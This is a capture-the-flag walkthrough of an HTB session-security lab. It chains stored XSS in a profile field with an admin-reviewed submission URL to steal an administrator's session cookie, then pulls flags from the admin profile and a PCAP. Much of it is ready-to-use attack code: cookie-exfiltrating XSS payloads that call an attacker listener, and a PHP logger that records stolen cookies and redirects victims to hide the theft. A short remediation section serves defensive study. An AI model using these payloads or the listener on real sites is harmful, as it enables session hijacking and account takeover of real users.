Skip to content

Chaining Final

The canonical session-attack chain in a well-defended app: stored XSS in a user-controlled profile field, weaponized by an open redirect on an admin-facing endpoint, yielding the admin’s session cookie. From there, hijack the admin session, access admin-only content (flag 1), pull a PCAP attachment, and recover flag 2 via Wireshark filtering. Five distinct primitives composed end-to-end.

# 1. Plant stored XSS in profile (Country field) - exfils document.cookie
<style>@keyframes x{}</style>
<video style="animation-name:x"
onanimationend="window.location='http://ATTACKER:8000/log.php?c='+document.cookie">
</video>
# 2. Deliver via open redirect on admin-touched endpoint
http://target/submit-solution?url=http://target/profile?email=YOUR_EMAIL
# 3. Admin reviews submission → redirects to your profile → XSS fires in admin context
# Your listener logs the admin's cookie
# 4. Hijack admin session in private window
# DevTools → Storage → swap auth-session cookie → admin's value
# 5. Browse admin's profile, retrieve flag 1, download PCAP
# 6. Open PCAP in Wireshark, filter http, search for HTB{

Success indicator: both flags in hand, full attack chain documented with timestamps and screenshots from your listener, your browser, and Wireshark.

A bug bounty program. In scope:

  • Single target: http://minilab.htb.net
  • Client-side attacks against end users are explicitly in scope
  • Test account: heavycat106 / rocknrol
  • Through dirbusting, you’ve discovered: http://minilab.htb.net/submit-solution

The goal: hijack an admin session, read a flag in the admin’s profile, and extract a second flag from a PCAP file linked in that profile.

This is the HTB Session Security skill assessment; the chain is also representative of real engagements where session attacks against high-privilege users are the path to maximum impact.

Log in as heavycat106 and walk the app. Map the surface:

PageWhat it doesAttack surface
/appAccount page; edit profile (email, phone, country)Profile fields → input validation tests
/profile?email=XPublic profile (only visible when “shared”)Stored XSS rendering point
/app/change-visibilityToggle profile public/privateCSRF target
/submit-solutionDiscovered via dirbusting; URL parameterOpen redirect / admin lure

Three observations to verify:

  1. Is the Country field XSS-injectable? Test with a benign-looking payload that survives form submission.
  2. Where does the Country render? If it shows on the share/profile page (not just back to me), payload fires when anyone (including admins) views my profile.
  3. What does /submit-solution do? Specifically: does an admin look at submissions, and if so does the url parameter become a server-side redirect?

Edit your profile. In the Country field, paste:

"><img src=x onerror=alert(document.domain)>

Save. The form accepts the input. Now browse to the share/public profile view:

http://minilab.htb.net/[email protected]

(Replace with your actual email.) The alert fires. The domain shown is minilab.htb.net - confirming JavaScript is executing in the target’s origin, not a sandbox.

This proves:

  • Country field is stored-XSS vulnerable
  • Payload renders on the public profile view, which is what an external reviewer would see
  • HttpOnly check next

In DevTools console (on the profile page):

> document.cookie
"auth-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

The session cookie is readable from JavaScript. HttpOnly is not set. The XSS-to-cookie chain works.

Replace the test payload with a real cookie-stealer in the Country field. Two payload patterns; pick based on what survives the input filter.

Payload A - Animation-end exfil (overt navigation)

Section titled “Payload A - Animation-end exfil (overt navigation)”
<style>@keyframes x{}</style>
<video style="animation-name:x"
onanimationend="window.location='http://YOUR-IP:8000/log.php?c='+document.cookie">
</video>

The empty @keyframes animation triggers onanimationend immediately on render. The handler navigates the victim’s browser to your log URL with the cookie appended.

Tradeoff: the victim notices their browser navigated. Fine for this engagement (you redirect them back via your log.php).

<script>fetch('http://YOUR-IP:8000/log.php?c='+btoa(document.cookie))</script>

Silent - fetch makes the request without changing the page. Less suspicious if the admin notices nothing unusual.

If the app sanitizes <script> but allows other tags, fall back to Payload A.

Use whichever fires. For this walkthrough I’ll use Payload A (it matches the source-doc scenario).

On your attacking machine:

Terminal window
$ cat > log.php <<'EOF'
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"] ?? "(empty)";
$ip = $_SERVER["REMOTE_ADDR"];
$ua = $_SERVER["HTTP_USER_AGENT"];
$ref = $_SERVER["HTTP_REFERER"] ?? "(no referer)";
$time = date('Y-m-d H:i:s');
$handle = fopen($logFile, "a");
fwrite($handle, "[$time] $ip\n UA: $ua\n Ref: $ref\n Cookie: $cookie\n\n");
fclose($handle);
// Redirect victim to a legit-looking destination so they don't realize what happened
header("Location: https://www.google.com/");
exit;
?>
EOF
$ php -S 0.0.0.0:8000
[Mon Sep 30 14:23:19 2024] PHP 8.1.0 Development Server (http://0.0.0.0:8000) started

Test it yourself first - visit http://YOUR-IP:8000/log.php?c=test123 in a browser, confirm cookieLog.txt is created with the expected content. Always verify your listener before deploying it.

Step 4 - Plant the payload, share the profile

Section titled “Step 4 - Plant the payload, share the profile”

Edit your profile. Paste Payload A into Country. Save.

Toggle profile visibility to public (click “Change Visibility” → “Make Public”). This is required - the XSS only fires when someone views the public profile.

Your public profile URL is now:

http://minilab.htb.net/[email protected]

(Or whatever email is on your account.) Test by opening the profile in a private window - the XSS should fire, your listener should receive a hit with your own cookie. Confirms the end-to-end XSS-to-listener chain works before depending on it.

Step 5 - Probe /submit-solution for open redirect

Section titled “Step 5 - Probe /submit-solution for open redirect”
Terminal window
$ curl -is 'http://minilab.htb.net/submit-solution'

Look at the response. Two outcomes:

  • Form: submit-solution is a form-rendering endpoint. View source, find what fields it accepts.
  • JSON / redirect: an API endpoint. Test with a query parameter.

The source doc mentions ?url= as a parameter. Test it:

Terminal window
$ curl -is 'http://minilab.htb.net/submit-solution?url=http://YOUR-IP:8000/' \
-b 'auth-session=YOUR_COOKIE'

Two scenarios for the response:

  1. Immediate redirect to your URL → it’s an open redirect, but probably an unauthenticated one (not useful for admin attack unless admin visits the URL)
  2. “Submission received” → the URL is queued for admin review. Admin sees the submitted URL later and clicks it.

The second is the bug-bountable behavior: the admin’s browser will follow the URL eventually. That’s the lure.

To confirm: trigger your listener with a benign URL via submit-solution, then wait. If a request shows up from an unfamiliar IP (the admin’s review process), it’s an admin-followed redirect.

Step 6 - Craft the malicious submission URL

Section titled “Step 6 - Craft the malicious submission URL”

The chain you want:

  1. Admin visits /submit-solution’s review interface
  2. Admin clicks the submitted URL
  3. Admin’s browser navigates to your profile (http://minilab.htb.net/profile?email=YOU)
  4. Your stored XSS payload fires in the admin’s browser, with the admin’s cookies
  5. The XSS exfils the admin’s cookie to your listener

The submission:

http://minilab.htb.net/submit-solution?url=http://minilab.htb.net/[email protected]

Submit this URL via the form (or POST, depending on what /submit-solution expects). Now wait.

Notes:

  • The URL points to minilab.htb.net (same origin) - admin’s browser sees a same-origin navigation, no scary warnings, full credential context, your XSS executes as if the admin clicked a normal app link
  • The cookie that arrives is the admin’s - because the XSS fires in the admin’s browser context
Section titled “Step 7 - Wait for the admin click; capture the cookie”

Watch the listener:

$ tail -f cookieLog.txt

When the admin reviews the submission:

[2024-09-30 14:31:55] 10.10.10.42
UA: Mozilla/5.0 (Windows NT 10.0; Win64) Firefox/118.0
Ref: http://minilab.htb.net/[email protected]
Cookie: auth-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciJ9.xxx

The User-Agent and IP help distinguish the admin from random review traffic. The cookie value is the admin’s session.

If the cookie is base64-encoded (you used Payload B with btoa()), decode:

Terminal window
$ echo 'YXV0aC1zZXNzaW9uPWVKaGJHY2lP...' | base64 -d
auth-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Open a private/incognito window. Navigate to http://minilab.htb.net/ - get a login prompt (no session yet). Don’t log in. Instead:

  1. F12 → Storage (Firefox) or Application (Chrome) → Cookies → select minilab.htb.net
  2. Find auth-session (your private window’s pre-login cookie if any, or none)
  3. Double-click value, replace with the admin’s cookie from your log
  4. Press Enter
  5. Reload the page

You should now be in the admin’s account. Confirm by browsing /app - you should see the admin’s profile, not “log in to continue.”

If the login prompt persists:

  • The cookie may have additional context binding (UA, IP). Match your UA by editing Firefox’s general.useragent.override in about:config.
  • The cookie may have expired in the time it took to grab and use it. Sessions in test environments are often short-lived. Trigger the admin click again.

For continuous browsing as the admin, set Burp’s Match-and-Replace or Session Handling Rule to inject the admin cookie on every request - see Hijacking.

Step 9 - Retrieve flag 1 from admin’s profile

Section titled “Step 9 - Retrieve flag 1 from admin’s profile”

In the hijacked session, browse:

  1. /app - your homepage as admin
  2. Click “Share” or navigate to /[email protected] (or whatever the admin’s email is - visible in the admin’s profile fields)
  3. Find the flag - typically embedded in the profile description or visible as a button/link

The HTB-style scenario: a “Share” workflow requires the profile to be public. If the admin’s profile is private, you may need to first toggle visibility:

  1. Click “Change Visibility”
  2. Click “Make Public”
  3. Re-load the share view
  4. Flag 1 is rendered on the share page
HTB{flag_one_value_here}

The admin’s profile contains a Flag2 button or link, typically downloading a .pcap file. Click and save:

~/Downloads/flag2.pcap

If the download endpoint requires the admin session (it will), make sure you’re still hijacked when you click - or download via curl with the admin cookie:

Terminal window
$ curl -b 'auth-session=ADMIN_COOKIE' \
-o flag2.pcap \
http://minilab.htb.net/path/to/flag2.pcap
Terminal window
$ wireshark flag2.pcap

Or for a quick headless pass:

Terminal window
$ tshark -r flag2.pcap -Y http

Filter for HTTP traffic. Look for distinctive content:

  • A GET request with a parameter that contains the flag pattern
  • A response body containing HTB{...}

The HTB scenario flag is in a GET parameter:

Terminal window
$ tshark -r flag2.pcap -Y http -T fields -e http.request.uri | grep -i 'HTB{'
/some/path?token=HTB{flag_two_value_here}

Or in Wireshark GUI:

  1. Filter: http
  2. Edit → Find Packet → “Packet bytes” → String HTB{
  3. Wireshark highlights the packet containing the flag
  4. Look at the URI or body field in the packet detail
GET /some/endpoint?secret=HTB{flag_two_value_here} HTTP/1.1

Flag 2 captured.

For a real bug bounty submission, every step is its own finding plus a chained-impact narrative:

FindingSeverity if standaloneSeverity in chain
Stored XSS in profile Country fieldMediumCritical
Cookies missing HttpOnlyLowMedium (enables the XSS chain)
Open redirect on /submit-solution?url=LowHigh (admin lure)
Profile sharing exposes private contentLowMedium (delivery surface)
Pre-shared session cookie reusable in different browserLow (sessions are stateful by design)-

The chained-impact narrative is what justifies a critical-severity rating: each finding alone is low/medium, but composed they yield unauthenticated remote admin session theft.

For each link in the chain:

  • Stored XSS - Output encode all user input rendered in HTML; reject HTML in fields that should be plain text; deploy CSP with default-src 'self'
  • HttpOnly missing - Set HttpOnly on the auth-session cookie; add Secure if HTTPS; SameSite=Strict if compatible
  • Open redirect - Whitelist allowed redirect destinations; require destinations to be relative paths within the app; if external URLs must be allowed, show a confirmation page first
  • Admin-reviews-submission - Render submitted URLs as text, not as clickable links, in the review interface; if admin clicks, sandbox the browser context

When the admin doesn’t auto-visit submissions

Section titled “When the admin doesn’t auto-visit submissions”

If the submit-solution endpoint just queues submissions and the admin never clicks them:

  • Find another admin lure: bug report fields, support ticket bodies, contact form
  • Anywhere user-controlled URLs reach an admin’s browser is a candidate
  • “View original report” buttons, “preview submission” links, document attachments

Cookie-exfil dies but the chain isn’t dead. With XSS in the admin’s context, you can:

  • Issue same-origin requests with the admin’s authority (CSRF via XSS - see XSS + CSRF chain)
  • Read response bodies (Same-Origin Policy permits same-origin reads)
  • Exfil page content (admin dashboard data, account lists, API keys in the DOM)

You don’t get a persistent cookie but you get one-shot access for as long as the XSS runs.

When the lure doesn’t fire on stored XSS

Section titled “When the lure doesn’t fire on stored XSS”

If the admin reviews the submission as text (not as a clickable link / rendered page), the XSS doesn’t fire. Pivot:

  • Find a different admin-rendered surface (admin user list, admin “recent activity” log)
  • Use the open redirect alone for phishing: send the admin a ?url=http://your-controlled.com link in a separate channel

If submit-solution?url= only accepts paths starting with /, you can still chain - your stored XSS profile is reachable via a path:

http://target/submit-solution?url=/profile?email=YOU

The redirect goes to /profile?email=YOU (same-origin), the XSS fires, the cookie exfils. The URL never leaves the target’s domain so URL-validation rules don’t catch it.

Step 0 - Recon
[ ] Identify profile / sharing endpoints
[ ] Identify endpoint(s) that admin reviews
[ ] Confirm HttpOnly status on session cookie
Step 1 - XSS confirmation
[ ] Test payload in candidate field
[ ] Verify execution context (document.domain shows target)
[ ] Verify document.cookie returns session cookie
Step 2 - Payload
[ ] Build cookie-exfil payload
[ ] Plant in vulnerable field
[ ] Confirm fire on own profile view
Step 3 - Listener
[ ] log.php / nc / external service stood up
[ ] Confirm by triggering own XSS
Step 4 - Lure
[ ] Identify endpoint admin clicks
[ ] Build malicious submission URL
[ ] Submit; wait
Step 5 - Capture
[ ] Cookie arrives at listener
[ ] Distinguish admin from other traffic via UA/IP
Step 6 - Hijack
[ ] Private window
[ ] Cookie swap
[ ] Confirm admin context (user displayed, admin pages accessible)
Step 7 - Flag retrieval
[ ] Navigate to admin profile / sharing view
[ ] Flag 1 captured
[ ] PCAP downloaded
Step 8 - PCAP analysis
[ ] Wireshark / tshark filter http
[ ] Search for HTB{ pattern
[ ] Flag 2 captured
StepCommand / action
Test XSS contextDevTools console → document.cookie
Animation-end exfil<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="...">
Fetch exfil (silent)<script>fetch('//A/?c='+btoa(document.cookie))</script>
log.php template<?php fwrite(fopen('cookieLog.txt','a'), $_REQUEST['c']."\n"); ?>
Run loggerphp -S 0.0.0.0:8000
Test open redirectcurl -is 'http://target/submit-solution?url=http://A:8000/'
Submit malicious URL?url=http://target/profile?email=YOUR_EMAIL
Hijack - DevTools swapF12 → Storage → Cookies → swap auth-session value
Hijack - Burp swapMatch-and-Replace on Cookie header
Flag in PCAPtshark -r f.pcap -Y http | grep 'HTB{'
Wireshark searchEdit → Find Packet → Packet bytes → String HTB{